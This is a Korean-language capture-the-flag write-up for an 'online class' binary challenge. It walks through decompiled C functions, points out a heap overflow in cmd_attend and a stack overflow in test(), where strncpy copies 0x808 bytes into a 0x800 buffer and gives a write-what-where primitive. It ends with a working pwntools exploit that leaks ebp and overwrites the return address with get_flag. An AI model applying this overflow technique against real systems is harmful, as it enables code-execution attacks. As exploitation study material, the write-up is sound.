
문제파일을 실행해보자.

이름과 명령어를 입력받는 프로그램이다.
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char s; // [sp+0h] [bp-2008h]@1
int *v4; // [sp+2004h] [bp-4h]@1
v4 = &argc;
setvbuf(stdout, 0, 2, 0);
puts("Welcome to your new online class!");
puts("We here, at Eon Pillars, we think Zoom is trash and prefer to have our lessions via command line!");
printf("May I get your name?\n\tName: ");
fgets(&s, 0x2000, stdin);
remove_newline(&s);
printf("Thanks! It is nice to meet you %s!\n\n", &s);
printf("Well enough of that let's start class ... ");
class();
}
스택에 이름을 입력받고 class를 호출한다.
void __noreturn class()
{
char *s; // [sp+Ch] [bp-Ch]@1
s = malloc(0x2000u);
if ( !s )
{
perror("Unable to malloc buffer");
exit(1);
}
while ( 1 )
{
puts("What should we do?");
printf("> [? for menu]: ");
fgets(s, 0x2000, stdin);
remove_newline(s);
cmd_dispatch(s, &cmdtable);
}
}
heap에 명령어를 입력받고, 입력받은 명령어와 cmdtable을 인자로하여 cmd_dispatch를 호출한다.
int __cdecl cmd_dispatch(char *s, int a2)
{
int result; // eax@3
int v3; // eax@4
char *s1[8]; // [sp+0h] [bp-38h]@4
int v5; // [sp+20h] [bp-18h]@13
int j; // [sp+24h] [bp-14h]@8
char *i; // [sp+28h] [bp-10h]@1
int v8; // [sp+2Ch] [bp-Ch]@1
v8 = 0;
for ( i = strtok(s, " "); i; i = strtok(0, " ") )
{
if ( v8 > 7 )
{
puts("Command line has too many words");
return 2;
}
v3 = v8++;
s1[v3] = i;
}
if ( v8 )
{
for ( j = 0; ; ++j )
{
if ( !*(8 * j + a2) )
{
printf("%s: Command not found\n", s1[0]);
return 1;
}
if ( **(8 * j + a2) && !strcmp(s1[0], *(8 * j + a2)) )
break;
}
if ( !*(8 * j + a2 + 4) )
__assert_fail("table[i].func != NULL", "challenge.c", 0xA1u, "cmd_dispatch");
result = (*(8 * j + a2 + 4))(v8, s1);
v5 = result;
}
else
{
result = 0;
}
return result;
}
for문에서, 입력받은 명령어를 파싱하여 s1에 저장한다.for문에서, 명령어가 a2에 존재하는지 확인하여 존재할 경우 a2에 저장되있는 해당 명령어의 함수를 호출한다.※a2는 Caller인 class에서 전달한 cmdtable이다.※
수 많은 명령어 함수가 있지만, 그 중 주의깊게 살폈던 함수만 정리하겠다.
void __cdecl cmd_attend(signed int a1, int a2)
{
char *dest; // [sp+8h] [bp-10h]@1
signed int i; // [sp+Ch] [bp-Ch]@1
dest = malloc(4u);
for ( i = 1; i < a1; ++i )
{
strcat(dest, *(4 * i + a2));
*&dest[strlen(dest)] = 32;
}
cmd_dispatch(dest, &classtable);
free(dest);
}
heap에 4만큼 할당하고, 그 곳에 입력받은 명령어 배열을 strcat으로 이어붙여 저장한다.
힙 오버플로우를 발생시킨다.
처음엔 이것을 이용하여 풀어야 하는 것으로 이해했다.
하지만, 이 오버플로우한 영역을 재활용하여 취약점을 발생시키는 연관된 코드는 없었다.
취약점이 발생하는 함수를 살펴보겠다.
int class_hacker()
{
char s; // [sp+0h] [bp-2008h]@1
puts("\nWelcome!");
fgets(&s, 0x2000, stdin);
printf("Got %s\n", &s);
return test(&s);
}
문자열을 입력받고 그것을 인자로 test 함수를 호출한다.
int __cdecl test(char *src)
{
char dest; // [sp+8h] [bp-810h]@1
int v3; // [sp+808h] [bp-10h]@1
_DWORD *v4; // [sp+80Ch] [bp-Ch]@1
int savedregs; // [sp+818h] [bp+0h]@1
printf("0x%x\n", &savedregs);
strncpy(&dest, src, 0x808u);
*v4 = v3;
return printf("0x%x\n", v3);
}
ebp 주소를 출력하고,
전달받은 문자열을 strncpy로 test()의 로컬변수인 dest에 복사한다.
여기서 취약점이 발생한다.
dest의 크기는 0x800이지만, 복사되는 크기는 0x808이다. 영역을 초과하여 뒤에 존재하는 v3, v4 변수를 덮어쓰게 된다.
아래 코드를 보면
*v4 = v3;
v4에 저장된 주소값에 v3의 값을 덮어쓴다.
둘 다 내가 조작가능한 값이므로 이것을 이용해 RET를 제어할 수 있다.
문제에서 get_flag 함수를 제공해주므로 간단히 작성할 수 있다.
class_hacker를 2번 호출한다.
첫 번째 호출에서는 ebp 주소를 저장하여 Return Address를 계산할 것이다.
두 번째 호출에서는, 페이로드를 전송하여 계산된 Return Address에 get_flag 주소값을 덮어쓰도록 만들 것이다.
파이썬으로 코드를 작성하였다.
from pwn import *
import re
import time
#p = process('online')
p = remote('challenges.auctf.com', 30013)
#set name
print p.recvrepeat(0.2)
p.sendline('test'*100)
#into class_hacker
print p.recvrepeat(0.2)
p.sendline('attend Hacker')
print p.recvrepeat(0.2)
addr_heap = 0x565745b0
p.sendline('dumm'+p32(addr_heap)*(0x808/4))
#get addr_ebp
time.sleep(1)
data = p.recvrepeat(0.2)
print data
pt = re.compile('0x[0-9a-f]{7,8}')
addr_ebp = pt.findall(data)[0]
print 'get address of ebp : ' + addr_ebp
addr_ebp = int(addr_ebp, 16)
#into class_hacker
print p.recvrepeat(0.2)
p.sendline('attend Hacker')
print p.recvrepeat(0.2)
#send payload(test goto main)
size_toEBP = 0x808
offset_overwrite = 0x10 - 8
offset_dest = 0xc - 8
addr_ret = addr_ebp + 4
addr_printFlag = 0x56556299
p.sendline('a'*(size_toEBP-offset_overwrite)+p32(addr_printFlag)+p32(addr_ret))

꼭 class_hacker를 두 번 호출하지 않아도 된다.
나는 문제에서 ebp를 제공해주는 이유가 있을 것이라고 생각해 이를 활용하여 코드를 작성한 것일 뿐이다.